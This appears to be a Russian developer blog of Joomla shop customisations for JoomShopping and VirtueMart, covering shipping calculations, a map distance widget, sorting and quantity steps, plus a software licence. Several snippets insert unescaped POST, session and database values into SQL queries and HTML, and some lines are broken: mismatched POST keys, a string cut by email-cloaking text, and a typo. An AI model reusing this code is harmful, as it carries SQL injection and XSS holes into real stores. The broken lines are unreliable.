and cp.category_id in (select category_id from #__jshopping_categories as cd where cd.category_parent_id=c.category_id or cd.category_id=c.category_id)
) as aaa FROM `#__jshopping_categories` as c
WHERE category_parent_id = '".$this->_db->escape($parentId)."' ".$add_where."
ORDER BY ".$orderby." ".$ordering;

Отображение списка категорий в файле:

/components/com_jshopping/templates/default/category/category_default.php

Редактируем со строки 46, добавляем вывод кол-ва товаров:

<div class = "sblock2">
<div class="category_name category_count">
<a class = "product_link" href = "<?php print $category->category_link?>">
<?php print $category->name?>
</a>
<?php // print_r($category); ?>
</div>
<p class = "category_short_description">
<?php print $category->short_description?>
</p>
<?php if ($category->aaa!='' and $category->aaa!='0'){?>
<a class = "product_link" href = "<?php print $category->category_link?>"><span>(<?php echo $category->aaa;?>)</span></a>
<?php }?>
</div>

Лицензионное соглашение

ЛИЦЕНЗИЯ НА ИСПОЛЬЗОВАНИЕ И ОГРАНИЧЕННАЯ ГАРАНТИЯ
Это юридически обязательное соглашение. Устанавливая и/или используя программное обеспечение с данного сайта (далее Программное обеспечение), Вы соглашаетесь следовать условиям этого соглашения.
КАК ЕСТЬ.
Вы принимаете Программное обеспечение как есть, в его текущем состоянии, без любой подразумеваемой гарантии или особенностей.
ПРЕДОСТАВЛЕНИЕ ЛИЦЕНЗИИ.
Вам предоставляется неисключительное право использовать Программное обеспечение в соответствии с условиями, указанными в этом соглашении. Вы можете использовать Программное обеспечение на единственной установке Joomla!.
УСТАНОВКА.
Программное обеспечение должно только быть установлено на публично-доступном вебсайте.
АВТОРСКОЕ ПРАВО И СОБСТВЕННОСТЬ.
Это Программное обеспечение, включая его код, документацию, дистрибутив, структуру - исключительный продукт Radgura.ru, который сохраняет права собственности на Программное обеспечение, его копии и модификации. Также Radgura.ru сохраняет за собой авторское право на Программное обеспечение.
КОПИИ.
Вы можете сделать так много копий Программного обеспечения как хотите, пока Вы гарантируете, что Программное обеспечение используется только на одном вебсайте (установке Joomla). Вы не можете распространять копии Программного обеспечения другим.
МОДИФИКАЦИЯ.
Вы можете изменить составляющий исходный текст Программного обеспечения только для вашего собственного использования. Условия этого Лицензионного соглашения в этом случае будут не нарушены. Перепродажа или распространение любой модификации не позволяется без письменного разрешения от Radgura.ru.
ПЕРЕДАЧА ПРОГРАММНОГО ОБЕСПЕЧЕНИЯ.
Вы не можете передавать Программное обеспечение в третьи руки без письменного разрешения на это от Radgura.ru. Ни в коем случае Вы не можете передавать, назначать, арендовать, продавать Программное обеспечение в том числе. Вы несете полную ответственность за переданные Вам в пользование копии Программного обеспечения, и обязаны принять все меры для того, чтобы Программное обеспечение не попало в третьи руки.
ЗАКЛЮЧИТЕЛЬНЫЕ ПОЛОЖЕНИЯ.
Это Соглашение действует весь период использования Программного обеспечения пока не будет прервано. Это Соглашение прервется автоматически без уведомления от Radgura.ru, если Вы будете не в состоянии выполнить какое-либо условие этого Соглашения. После завершения Вы должны прекратить использование всех копий Программного обеспечения, включая измененные копии, если таковые имеются.
ИСКЛЮЧЕННЫЕ ГАРАНТИИ.
Radgura.ru не несет ответственности ни за какие убытки, являющиеся результатом любой причины, даже если Radgura.ru сообщили о возможности таких убытков. Radgura.ru ни в коем случае не будет нести ответственности за любые убытки, большие чем уплаченная Вами стоимость Программного обеспечения. Любые гарантии ограничены в продолжительности 30 днями после даты оплаты Программного обеспечения.
ПРАВО ОТКАЗА.
Мы оставляем за собой право по своему усмотрению, прекратить предоставление услуг и реализацию предлагаемых товаров, а также изменять/закрывать доступ к ранее приобретенным товарам на нашем сайте, в случае нарушения положений, изложенных в данном лицензионном соглашении, а также случая повлекших нарушение авторского права или содействия в вопросе нарушения авторских прав, на представленное на данном сайте Программное обеспечение.
ЕСЛИ ВЫ НЕ СОГЛАШАЕТЕСЬ НА УСЛОВИЯ ЭТОГО СОГЛАШЕНИЯ, НЕ ИСПОЛЬЗУЙТЕ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ.

JoomShopping - OneStepCheckout изменение стоимости доставки от кол-ва товаров

Стандартный механизм JoomShopping не умеет делать сложный расчет доставки, необходимо вносить изменения.

Поставлена задача:

1. Добавлять 200р к доставке, если товаров больше одного, при этом есть исключения по товару.

Сначала вводим признак, по которому будем исключать товар, для этого создаем характеристику.Необходимо поставить эту характеристику всем товарам, которые не будут добавлять 200р к доставке.

Далее нам необходимо понять в какое поле она будет выгружаться, у нас получилось поле #__jshopping_products.extra_field_3,  ID характеристики 4. 

Следующий шаг расчета стоимости доставки

Карточки товара из корзины JoomShopping хранятся в сессии, для обновлении цены нам необходимо "на лету" изменить данные, открываем файл:

components/com_jshopping/templates/addons/onestepcheckout/default/checkout.php

Это шаблон корзины, реализуем подсчет кол-во товара:

<tbody>
<?php
$i=1;
$countprod = count($this->products);$qunt=0;
foreach ($this->products as $key_id=>$prod) {
$db->setquery("select extra_field_3 from #__jshopping_products where product_id='".$prod['product_id']."' ");$ext=$db->loadresult();//поле скрыто, получаем значение из БД
if ($ext!=4) $qunt=$qunt+$prod['quantity'];
?>
<tr class="jshop_prod_cart" >

И нужно переопределить вывод суммы:

$session = JFactory::getSession();
$price = $session->get("jshop_price_shipping");
//если товаров несколько то к каждой позиции кроме первой добавляем 200р
if ($price>0)
{
$quntprice=0;

if ($qunt>1) $quntprice=($qunt-1)*200; else $quntprice=0;
$this->summ_delivery=getRoundPriceProduct(floatval($price+$quntprice));
}

if (isset($this->summ_delivery)){ ?>
<tr>
<td class="name">
<?php echo JText::_('JSHOP_ONESTEPCHECKOUT_SHIPPING_PRICE') ?>
</td>
<td class="value SHIPPING_PRICE">
<?php
echo formatprice($this->summ_delivery) ?>
<?php echo $this->_tmp_ext_shipping?>
</td>
</tr>
<?php } ?>

Также переопределить итоговую сумму:

<?php 
$this->fullsumm=$this->summ_package+$this->summ_delivery+$this->summ;
?>
<tr class="total">
<td class="name">
<?php echo $this->text_total ?>
</td>
<td class="value">
<?php echo formatprice($this->fullsumm) ?>
<?php echo $this->_tmp_ext_total ?>
</td>
</tr>

Далее нам нужно после сохранения заказа, переписать суммы доставки и сумму итого:

/city-new/public_html/components/com_jshopping/models/checkoutorder.php
if ($jshopConfig->send_order_email && $order->order_created){
$send = $this->sendOrderEmail($order->order_id);
}
//обновляем стоимость доставки, исключаем кол-во товара по характеристике
if ($order->order_shipping>0)
{
$db = JFactory::getDbo();
$db->setquery("SELECT SUM(`product_quantity`) FROM `#__jshopping_order_item` WHERE order_id='".$order->order_id."' and product_id not in (select product_id from #__jshopping_products where extra_field_3=4)");$qunt=$db->loadresult();
$quntprice=0;
if ($qunt>1)
{
$quntprice=($qunt-1)*200;
$order_shipping=getRoundPriceProduct(floatval($order->order_shipping+$quntprice));
$db->setquery("update `#__jshopping_orders` set order_shipping='".$order_shipping."' WHERE order_id='".$order->order_id."' ");$db->execute();
$db->setquery("update `#__jshopping_orders` set order_total=order_shipping+order_subtotal+order_payment WHERE order_id='".$order->order_id."' ");$db->execute();
}
}

 

2.Стоимость доставки индивидуальна для каждого товара. Доставка рассчитывается: 100% от первого товара, 50% от второго. Стоимость доставки брать от наибольшей.

Решение аналогичны задаче 1

в файле "на лету" изменяем сумму:

components/com_jshopping/templates/addons/onestepcheckout/default/checkout.php
<tbody>
<?php
$first=0;$second=0;$prodid=array();
foreach ($this->products as $key_id=>$prod) {$prodid[]=$prod['product_id'];}
$db->setquery("select yan_local_delivery_cost as cost from #__jshopping_products where product_id in (".implode(',',$prodid).") order by yan_local_delivery_cost desc limit 2");$delcostlist=$db->loadobjectlist();
if (isset($delcostlist[0]->cost))
{
$first=$delcostlist[0]->cost;
if (isset($delcostlist[1]->cost)) $second=$delcostlist[1]->cost/2;
}
//выводим карточку
foreach ($this->products as $key_id=>$prod) {
if (isset($delcostlist[0]->cost) and $delcostlist[0]->product_id==$prod['product_id'] and $prod['quantity']>1) $second=(int)($delcostlist[0]->cost/2);
}
....
$this->summ_delivery=($first+$second);
if (isset($this->summ_delivery) and $this->summ_delivery>0){ ?>
<tr>
<td class="name">
<?php echo JText::_('JSHOP_ONESTEPCHECKOUT_SHIPPING_PRICE') ?>
</td>
<td class="value SHIPPING_PRICE">
<?php
echo formatprice($this->summ_delivery) ?>
<?php echo $this->_tmp_ext_shipping?>
<input type="hidden" id="pagequant" value="<?php echo $qunt?>">
<input type="hidden" id="delprice" value="<?php echo getRoundPriceProduct(floatval($price+$quntprice))?>">
</td>
</tr>

Переписываем стоимость заказа:

/city-new/public_html/components/com_jshopping/models/checkoutorder.php
$first=0;$second=0;
$db->setquery("select yan_local_delivery_cost as cost from #__jshopping_products where product_id in (select product_id FROM `#__jshopping_order_item` WHERE order_id='".$order->order_id."' and product_id not in (select product_id from #__jshopping_products where extra_field_3=4)) order by yan_local_delivery_cost desc limit 2");$delcostlist=$db->loadobjectlist();
if (isset($delcostlist[0]->cost))
{
$first=$delcostlist[0]->cost;
if ($prod['quantity']>1)$second=(int)($delcostlist[0]->cost/2);
else
if (isset($delcostlist[1]->cost)) $second=$delcostlist[1]->cost;
}
$db->setquery("update `#__jshopping_orders` set order_shipping='".($first+$second)."' WHERE order_id='".$order->order_id."' ");$db->execute();
$db->setquery("update `#__jshopping_orders` set order_total=order_shipping+order_subtotal+order_payment+order_package WHERE order_id='".$order->order_id."' ");$db->execute();
return $order;

VirtueMart 3 - OnePage расчет расстояния до точки доставки

Возникла необходимость ограничить способы доставки в зависимости от километров до клиента.

Для решения был использован виджет яндекса "Расчёт стоимости доставки" :

https://tech.yandex.ru/maps/jsbox/2.1/deliveryCalculator

Вам необходимо скорректировать скрипт под свои условия, если нужен расчет и вывод адреса и километров, то можно использовать такой код:

ymaps.ready(init);
function init() {
// Стоимость за километр.
var DELIVERY_TARIFF = 0,
// Минимальная стоимость.
MINIMUM_COST = 0,
myMap = new ymaps.Map('map', {
center: [60.906882, 30.067233],
zoom: 9,
controls: []
}),
// Создадим панель маршрутизации.
routePanelControl = new ymaps.control.RoutePanel({
options: {
// Добавим заголовок панели.
showHeader: true,
title: 'Расчет расстояния',
width: '300px'
}
}),
zoomControl = new ymaps.control.ZoomControl({
options: {
size: 'small',
float: 'none',
position: {
bottom: 145,
right: 10
}
}
});
// Пользователь сможет построить только автомобильный маршрут.
routePanelControl.routePanel.options.set({
types: {auto: true}
});
// Если вы хотите задать неизменяемую точку "откуда", раскомментируйте код ниже.
routePanelControl.routePanel.state.set({
fromEnabled: false,
toEnabled: true,
from: 'Московская обл, Подольск, Железнодорожная ул., 20'
});
if (document.getElementById('lenghtaddres').value>0)
{
routePanelControl.routePanel.state.set({
to: document.getElementById('fulladdres').value
});
}
myMap.controls.add(routePanelControl).add(zoomControl);
// Получим ссылку на маршрут.
routePanelControl.routePanel.getRouteAsync().then(function (route) {
// Зададим максимально допустимое число маршрутов, возвращаемых мульти маршрутизатором.
route.model.setParams({results: 1}, true);
// Повесим обработчик на событие построения маршрута.
route.model.events.add('requestsuccess', function () {
var activeRoute = route.getActiveRoute();
if (activeRoute) {
// Получим протяженность маршрута.
var length = route.getActiveRoute().properties.get("distance"),
// Вычислим стоимость доставки.
price = calculate(Math.round(length.value / 1000)),
// Создадим макет содержимого балуна маршрута.
balloonContentLayout = ymaps.templateLayoutFactory.createClass('<span>Расстояние: ' + length.text + '.</span><br/>');
document.getElementById('lenghtaddres').value=Math.round(length.value / 1000);
document.getElementById('fulladdres').value=routePanelControl.routePanel.state.get("to");
document.getElementById('radseladrs').innerHTML='Адрес доставки : '+routePanelControl.routePanel.state.get("to")+'<br>Расстояние : '+Math.round(length.value / 1000)+' км.';
// Зададим этот макет для содержимого балуна.
route.options.set('routeBalloonContentLayout', balloonContentLayout);
// Откроем балун.
activeRoute.balloon.open();
}
});
});
// Функция, вычисляющая стоимость доставки.
function calculate(routeLength) {return Math.max(routeLength * DELIVERY_TARIFF, MINIMUM_COST);}
}

Для внедрения виджета необходимо внести код на страницы:

1.Блок с картой - размещаем сразу после элемента <div class="addressseleect opg-width-1-1 opg-margin-bottom ">

plugins/system/onepage_generic/cart/tmpl/default_right.php
<input type="hidden" id="urlsite" value="<?php echo JURI::root();?>">
<input type="hidden" id="lenghtaddres" value="<?php echo $_SESSION['rad_map_ln']?>">
<input type="hidden" id="fulladdres" value="<?php echo $_SESSION['rad_map']?>">
<hr>
<h3 class="opg-h3">Укажите адрес доставки</h3>
<script src="/https://api-maps.yandex.ru/2.1/?lang=ru_RU" type="text/javascript"></script>
<script src="/<?php echo JURI::root();?>js/deliveryCalculator.js" type="text/javascript"></script>
<div id="map" style="height:320px;width:100%;"></div>
<div class="clearfix"></div>
<hr>
<div style="text-align: right;"><span id="radseladrs" style="padding-right:20px;float: left;text-align: left;"></span><a class="btn sendadrs opg-button">Применить адрес</a></div>
</div>
<hr>

На этой же странице нужно разместить aJax запрос на изменение адреса

<script>
jQuery(document).ready(function() {
//обновляем фон категории
jQuery("body").on("click", ".sendadrs", function(e) {
var ids=this.id;
var myData = 'sendadrs='+document.getElementById('fulladdres').value+'&ln='+document.getElementById('lenghtaddres').value;
jQuery.ajax({
type: "POST",
url: document.getElementById('urlsite').value+"index.php?option=com_virtuemart&view=cart",
dataType:"text",
data:myData,
success:function(response){location.reload();},
error:function (xhr, ajaxOptions, thrownError){alert(thrownError);}
});
});
});
</script>

Прячем вариаты доставки, строка 218

if ($_SESSION['rad_map_ln']>0) 
{
?>
<div id="shipment_select" class="opg-width-1-1 opg-panel-box opg-margin-small-top <?php echo $shipmenthideclass; ?> rad_map_0" >
<h3 class="opg-panel-title"><?php echo JText::_('COM_VIRTUEMART_CART_EDIT_SHIPPING'); ?></h3>
<div id="shipment_fulldiv" class="opg-width-1-1">
<?php
$shipmentmethod_id = $this->cart->virtuemart_shipmentmethod_id;
$selectedshipment = "";
$shipmentpresent = 0;
foreach($this->shipments_shipment_rates as $rates)
{
if(strpos($rates, "checked") !== false)
{
$tmpdis = strip_tags($rates , '<span><img>');
echo '<table class="opg-table opg-table-striped" id="shipmenttable"><tr id="shipmentrow"><td id="shipmentdetails">';
$tmpdis = str_replace("</span><span>" , "</span><br /><span>", $tmpdis);
$tmpdis = str_replace("vmshipment_description" , "vmshipment_description opg-text-small rad_map_6", $tmpdis);
$tmpdis = str_replace("vmshipment_cost" , "vmshipment_cost opg-text-small rad_map_7", $tmpdis);
echo $tmpdis;
echo '</td>';
if(count($this->shipments_shipment_rates) > 1)
{
$target = "{target:'#shipmentdiv'}";
echo '<td id="shipchangediv" class="opg-width-1-4">';
echo '<a class="opg-button <?php echo $button_primary_class; ?>" href="#" data-opg-modal="'.$target.'">'.JText::_("PLG_SYSTEM_VMUIKIT_ONEPAGE_CHNAGE").'</a>';
echo '</td>';
}
echo '</tr></table>';
$shipmentpresent = 1;
}
}

if(!$shipmentpresent)
{
if(count($this->shipments_shipment_rates) > 0)
{
$tmpdis = strip_tags($this->shipments_shipment_rates[0] , '<span><img>');
echo '<table class="opg-table opg-table-striped" id="shipmenttable"><tr id="shipmentrow"><td id="shipmentdetails">';
$tmpdis = str_replace("</span><span>" , "</span><br /><span>", $tmpdis);
$tmpdis = str_replace("vmshipment_description" , "vmshipment_description opg-text-small", $tmpdis);
$tmpdis = str_replace("vmshipment_cost" , "vmshipment_cost opg-text-small rad_map_8", $tmpdis);
echo $tmpdis;
echo '</td>';
if(count($this->shipments_shipment_rates) > 1)
{
$target = "{target:'#shipmentdiv'}";
echo '<td id="shipchangediv" class="opg-width-1-4">';
echo '<a class="opg-button <?php echo $button_primary_class; ?>" href="#" data-opg-modal="'.$target.'">'.JText::_("PLG_SYSTEM_VMUIKIT_ONEPAGE_CHNAGE").'</a>';
echo '</td>';
}
echo '</tr></table>';
$shipmentpresent = 1;
}
else
{
$text = "";
$shipmentnilltext = vmInfo('COM_VIRTUEMART_NO_SHIPPING_METHODS_CONFIGURED', $text);
echo '<p id="shipmentnill" class="opg-text-warning">'.$shipmentnilltext.'</p>';
}
}
?>
</div>
</div>
<?php
}

2.Блок выбора способов доставки. Добавляем код фильтрации на строке 274

plugins/system/onepage_generic/cart/tmpl/default_modalpage.php 
foreach($this->shipments_shipment_rates as $rates) 
{
$con=1;
if(strpos($rates, "checked") !== false)
{$actclass = "liselcted";}
else
{$actclass = "";}
if ($_SESSION['rad_map_ln']>=0)
{
//расстояние меньше 15 км
if ($_SESSION['rad_map_ln']<=15)
{
if(strpos($rates, "shipment_id_5") == true) $con=0;
}
else//больше 15 км
{
if(strpos($rates, "shipment_id_4") == true) $con=0;
if(strpos($rates, "shipment_id_3") == true) $con=0;
}
}
if ($con==1)
{
echo '<li class="'.$actclass.' rad_map_9">';
echo '<label class="opg-width-1-1">'.$rates.'</label>';
echo '</li><hr class="opg-margin-small-bottom opg-margin-small-top" />';
}
}

3.Блок поля адреса и кнопки "Оформить заказ"

plugins/system/onepage_generic/cart/tmpl/default_shopper.php 

Кнопка "оформить заказ" строка 886

if ($_SESSION['rad_map_ln']>=0)
{
echo '<p id="bottom_total" class="opg-text-large opg-text-primary opg-text-bold opg-text-center">'.JText::_("COM_VIRTUEMART_CART_TOTAL").'&nbsp;:&nbsp;<strong class="opg-text-large opg-text-primary opg-text-bold" id="carttotal"></strong></p>';
echo '<a class="opg-button '.$button_primary_class.' opg-button-large opg-margin-top opg-width-1-1" href="javascript:void(0);" onclick="submit_order();"><span>' . JText::_('COM_VIRTUEMART_ORDER_CONFIRM_MNU') . '</span></a>';
}

4.Обработка aJax запроса

plugins/system/onepage_generic/onepage_generic.php
if (isset($_POST['sendadrs']) and strlen($_POST['sendadrs']))
{
$adr=$_POST['sendadrs'];
$ln=$_POST['ln'];
$_SESSION['rad_map']=$adr;
$_SESSION['rad_map_ln']=$ln;
echo 'test';
exit();
}

JoomShopping - Шапка страницы в PDF файле

Для редактирования шапки письма, область где указывается название и адрес компании нужно открыть файл:

/components/com_jshopping/lib/generete_pdf_order.php

Блок в котором размещается массив данных:

function addTitleHead($is_spec=0){
$jshopConfig = JSFactory::getConfig();
$vendorinfo = $this->_vendorinfo;
if (file_exists($jshopConfig->path.'images/'.$this->img_header)){
$this->Image($jshopConfig->path.'images/'.$this->img_header,1,1,$jshopConfig->pdf_header_width,$jshopConfig->pdf_header_height);
}
if (file_exists($jshopConfig->path.'images/'.$this->img_footer)){
$this->Image($jshopConfig->path.'images/'.$this->img_footer,1,265,$jshopConfig->pdf_footer_width,$jshopConfig->pdf_footer_height);
}
$this->SetFont('freesans','',8);
$this->SetXY(115,12);
$this->SetTextColor($this->pdfcolors[2][0], $this->pdfcolors[2][1], $this->pdfcolors[2][2]);
$_vendor_info = array();
$_vendor_info[] = "Компания ООО ТК-СИТИ"; //Выводим название нащей организации, вместо текста можно вставить $vendorinfo->firma , тогда название возьмется из инфы о магазине
$_vendor_info[] = "Адрес компании: $vendorinfo->zip Россия, г.Москва"; //Выводим почтовый адрес компании
$_vendor_info[] = ", $vendorinfo->adress"; //Выводим город и улицу
$_vendor_info[] = "Интернет-сайт: $vendorinfo->url, E-mail: Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.;; //Вводим интернет-сайт организации и E-mail
$_vendor_info[] = "Телефон/Факс: $vendorinfo->phone $vendorinfo->fax"; //Вводим телефон и факс
$str_vendor_info = implode("\n",$_vendor_info);
$this->MultiCell(90, 1, $str_vendor_info, 0, 'R'); //Ширина выводимых данных
$this->SetTextColor($this->pdfcolors[11][0], $this->pdfcolors[0][1], $this->pdfcolors[0][2]);
}

Вы можете заменить значение строк или добавить свои

Создание иерархического дерева категорий

Напримере категорий JoomShopping

Выборка данных из базы:

$db->setQuery("select category_parent_id,category_id as id,`name_ru-RU` as name,(select count(*) from #__jshopping_products_to_categories as ss where ss.category_id=c.category_id ) as cc from #__jshopping_categories as c where category_publish=1 order by `name_ru-RU`");
$item_ops = $db->loadObjectList();

Функция обхода категорий, создание опций для <select>:

function getrecopt($item_ops,$lvlstr,$parentid,$filter)
{
$ret='';
foreach ($item_ops as $item_op)
if ($item_op->category_parent_id==$parentid)
{
$ret.='<option value="'.$item_op->id.'" '.(($filter==$item_op->id)?'selected="selected"':'').'>'.$lvlstr.$item_op->name.' ('.$item_op->cc.')</option>';
$ret.=getrecopt($item_ops,$lvlstr.'--',$item_op->id,$filter);
}
return $ret;
}

Выборка с использованием фильтра:

<select id="..">
<option value="">Не выбрано</option>
<?php echo getrecopt($item_ops,'',0,$this->escape($this->state->get('filter.search_cat')));?>
</select>

Динамическая сортировка строк,ячеек с использование jQuery().sorttable();

Вы можете создать динамический массив элементов или таблицу, где изменение элементов будет сохраняться в БД.

Для работы вам понадобиться библиотека jQuery не ниже 1.9 и jquery-ui.min.js

На примере таблицы, где необходимо перемещать строки(вверх-вниз) и запоминать их позицию(ordering)

<table >
<tbody class="container">
<tr id="OrdNum_1">
<td>
<input type="hidden" id="imageindex_0" value="1">
<a class="btn"><i class="icon-move"></i></a>
</td>
<td>
....
</td>
</tr>
<tr id="OrdNum_2">
<td>
<input type="hidden" id="imageindex_1" value="2">
<a class="btn"><i class="icon-move"></i></a>
</td>
<td>
....
</td>
</tr>
</tbody>
</table>

Алгоритм работы:

  • 1.Пользователь перетаскивает строку, зажав элемент <i class="icon-move"></i>
  • 2.После завершения, скрипт анализирует позицию с которой был взял элемент и позицию на которую он перемещен, далее по элементам <input type="hidden" id="imageindex_1" value="2"> в атрибуте value получаем ID записи
  • 3.Делаем запрос в БД на изменение позиции(ordering)

Скрипт выполняющий поиск ID старой и новой позиции:

jQuery(document).ready(function() {
jQuery('.container').sortable({
group: 'no-drop',
opacity: 0.8,
handle: 'i.icon-move',
start: function(e, ui) {jQuery(this).attr('data-previndex', ui.item.index());},
update: function(e, ui) {

var newIndex = ui.item.index();
var oldIndex = jQuery(this).attr('data-previndex');
var target_id=document.getElementById('imageindex_'+newIndex).value;
var self_id=document.getElementById('imageindex_'+oldIndex).value;
var myData = 'changeimageord='+target_id+'&sid='+self_id;
jQuery.ajax({
type: "POST",
url: document.getElementById('siteurl').value+"index.php?option=com_rad_sale",
dataType:"text",
data:myData,
success:function(response){},
error:function (xhr, ajaxOptions, thrownError){alert(thrownError);}
});

jQuery(this).removeAttr('data-previndex');
},
onDragStart: function ($item, container, _super) {if(!container.options.drop) $item.clone().insertAfter($item);_super($item, container);},
});
});

Обработка aJax запроса:

if (isset($_POST['changeord']) and strlen($_POST['changeord']))
{
$target_id=trim($_POST['target_id']);
$self_id=trim($_POST['self_id']);
$db = JFactory::getDbo();
$db->setquery("select ordering from #__table where id='".$target_id."'");$target_id_ord=$db->loadresult();
$db->setquery("select ordering from #__table where id='".$self_id."'");$self_id_ord=$db->loadresult();
$db->setquery("update #__table set ordering='".$self_id_ord."' where id='".$target_id."'");$db->execute();
$db->setquery("update #__table set ordering='".$target_id_ord."' where id='".$self_id."'");$db->execute();
exit();
}

 

JoomShopping - не зависимые атрибуты(опции) и checkbox

JoomShopping умеет создавать два варианта списков:

  • Select
  • RadioGroup

Если требуется ввести стандартный checkbox(галочку), то можно переопределить вывод значений атрибута, добавить условия вывода:

  • Если значений всего 2
  • Если цена одного из значений = 0
  • => Вывести checkbox

Для этого необходимо открыть файл:

components\com_jshopping\templates\default\product\product_default.php

Строка 144:

<span id='block_attr_sel_<?php print $attribut->attr_id?>'>
<?php

$db = JFactory::getDbo();
$db->setquery("Select atr2.*,(select `name_ru-RU` from #__jshopping_attr_values where value_id=atr2.attr_value_id) as name from #__jshopping_products_attr2 atr2 where attr_id='".$attribut->attr_id."' and product_id='".$this->product->product_id."' ");$attrmass=$db->loadobjectlist();
if (count($attrmass)!=2) echo $attribut->selects;//кол-во не 2
else
if (($attrmass[0]->addprice<>0 and $attrmass[0]>addprice<>$this->product->getPriceCalculate()) and ($attrmass[1]->addprice<>0 and $attrmass[1]->addprice<>$this->product->getPriceCalculate())) echo $attribut->selects;//сумма обоих больше 0
else
{
if ($attrmass[0]->addprice==0 or $attrmass[0]->addprice==$this->product->getPriceCalculate())
{
$name=$attrmass[1]->name;
$null_valid=$attrmass[0]->attr_value_id;
$notnull_valid=$attrmass[1]->attr_value_id;
$null_atrid=$attrmass[0]->attr_id;
$notnull_atrid=$attrmass[1]->attr_id;
}
else
{
$name=$attrmass[0]->name;
$null_valid=$attrmass[1]->attr_value_id;
$notnull_valid=$attrmass[0]->attr_value_id;
$null_atrid=$attrmass[1]->attr_id;
$notnull_atrid=$attrmass[0]->attr_id;
}
echo '<div style="background:yellow;display:none;">'.$attribut->selects.'</div>';//выводим стандартную форму с опциями, но прячим ее
echo '<span class="input_type_radio">';
echo '<input type="checkbox" style="height:20px;width:20px;" onclick="if(this.checked){jQuery('."'#jshop_attr_id".$attribut->attr_id.$notnull_valid."'".').trigger('."'click'".');}else{jQuery('."'#jshop_attr_id".$attribut->attr_id.$null_valid."'".').trigger('."'click'".');}" name="checkattr'.$attribut->attr_id.'" id="checkattr'.$attribut->attr_id.'"><label style="cursor:pointer;margin-left:10px;top: -5px;position:relative;white-space: normal;width: 200px;" class="cssm-label" for="checkattr'.$attribut->attr_id.'">'.$name.'</label>';
echo '</span>';
}

?>
</span>

VM3 Step исправление кол-ва в партии

1.Некорректно вычисляется кол-во товара в партии на странице товара VM3?

Причина: Родной скрипт не готов обрабатывать атрибуты объекта, поэтому кол-во товаров некорректно высчитывается в случае, когда нужно изменить партию в шаге больше 1.

Исправление в VM3 в файле:

components\com_virtuemart\assets\js\vmprices.js

Необходимо исправить ссылку на атрибут и добавить условие обработки кол-ва - проверить точное соотношение шага и текущего кол-ва, если кол-во больше, то необходимо убрать излишек.

Virtuemart.incrQuantity = (function(event) {
var rParent = jQuery(this).parent().parent();
quantity = rParent.find('input[name="quantity[]"]');
virtuemart_product_id = rParent.find('input[name="virtuemart_product_id[]"]').val();
Ste = parseInt(quantity.attr("data-step"));
if (isNaN(Ste)) Ste = 1;
Qtt = parseInt(quantity.val());
if (!isNaN(Qtt)) {
var nQtt=Qtt + Ste;
var rQtt=(Math.ceil(Qtt/Ste));
if ((nQtt-(rQtt*Ste))>0) nQtt=rQtt*Ste+Ste;
quantity.val(nQtt);
maxQtt = parseInt(quantity.attr("max"));
if(!isNaN(maxQtt) && quantity.val()>maxQtt){
quantity.val(maxQtt);
}
Virtuemart.setproducttype(event.data.cart,virtuemart_product_id);
}
}); Virtuemart.decrQuantity = (function(event) {
var rParent = jQuery(this).parent().parent();
var quantity = rParent.find('input[name="quantity[]"]');
var virtuemart_product_id = rParent.find('input[name="virtuemart_product_id[]"]').val();
var Ste = parseInt(quantity.attr("data-step"));
if (isNaN(Ste)) Ste = 1;
var minQtt = parseInt(quantity.attr("data-init"));
if (isNaN(minQtt)) minQtt = 1;
var Qtt = parseInt(quantity.val());if (!isNaN(Qtt) && Qtt>Ste) {
var nQtt=Qtt - Ste;
var rQtt=(Math.ceil(Qtt/Ste));
if ((nQtt-(rQtt*Ste))>0) nQtt=rQtt*Ste-Ste;
quantity.val(nQtt);
if(!isNaN(minQtt) && quantity.val()<minQtt){
quantity.val(minQtt);
}
} else quantity.val(minQtt);
Virtuemart.setproducttype(event.data.cart,virtuemart_product_id);
});

2.В миниатюре корзины SJ Mod miniCart не работает добавление товаров с шагами?

В данном модуле не было рассмотрена такая ситуация, поэтому нужно добавить вычисление кол-во с шагами.

Необходимо внести изменения в файлы:

templates\kontiss\html\mod_sj_minicart_pro\default_js.php

/*-- process when click quantity control and change value input quantity --*/
$('.quantity-control', $_prod).each(function () {
$(this).children().click(function () {
var Qtt = parseInt($_quantity.val());
var Qtt = parseInt($_quantity.val());
var Ste = parseInt($_quantity.attr("data-step"));
if (isNaN(Ste)) Ste = 1;
if ($(this).is('.quantity-plus')) {
var nQtt=Qtt + Ste;
var rQtt=(Math.ceil(Qtt/Ste));
if ((nQtt-(rQtt*Ste))>0) nQtt=rQtt*Ste+Ste;
$_quantity.val(nQtt);
} else {
if (!isNaN(Qtt) && Qtt > 1)
{
var nQtt=Qtt - Ste;
var rQtt=(Math.ceil(Qtt/Ste));
if ((nQtt-(rQtt*Ste))>0) nQtt=rQtt*Ste-Ste;
if (nQtt<Ste) nQtt=Ste;
$_quantity.val(nQtt);
} else {
$_quantity.val(Ste);
}
}
if ($_quantity.val()==0) $_quantity.val(Ste);
return false;
});
})

templates\kontiss\html\mod_sj_minicart_pro\default_list.php

<span class="value">
<?php
$init = 1;
if(isset($viewData['init'])){$init = $viewData['init'];}
if(!empty($product->min_order_level) and $init<$product->min_order_level){$init = $product->min_order_level;}
$step=1;
if (!empty($product->step_order_level)){$step=$product->step_order_level;if(empty($product->min_order_level) and !isset($viewData['init'])){$init = $step;}}
$maxOrder= '';
if (!empty($product->max_order_level)){$maxOrder = ' max="'.$product->max_order_level.'" ';}
?>
<input type="text" maxlength="4" size="2" name="mc-quantity test" class="mc-quantity" data-step="<?php echo $step?>" data-init="<?php echo $init; ?>" value="<?php echo $init; ?>" <?php echo $maxOrder?>/>
</span>

3.В корзине OnePage не учитывается партия ?

Данный плагин также не готов к работе с партиями - ни корректно выставляются шаги по товарам, необходимо добавить скрипты обработки в файлы:

\plugins\system\onepage_generic\vmprices.js

carts.each(function(){
var cart = jQuery(this),
//step=cart.find('input[name="quantity"]'),
addtocart = cart.find('.addtocart-button'),
plus = cart.find('.quantity-plus'),
minus = cart.find('.quantity-minus'),
select = cart.find('select:not(.no-vm-bind)'),
radio = cart.find('input:radio:not(.no-vm-bind)'),
virtuemart_product_id = cart.find('input[name="virtuemart_product_id[]"]').val(),
quantity = cart.find('.quantity-input');
step=parseInt(quantity.attr("data-step")); var Ste = step;
//Fallback for layouts lower than 2.0.18b
if(isNaN(Ste)){Ste = 1;}
addtocart.unbind( "click" );
addtocart.click(function(e) {
Virtuemart.sendtocart(cart);
return false;
});
plus.unbind( "click" );
plus.click(function() {
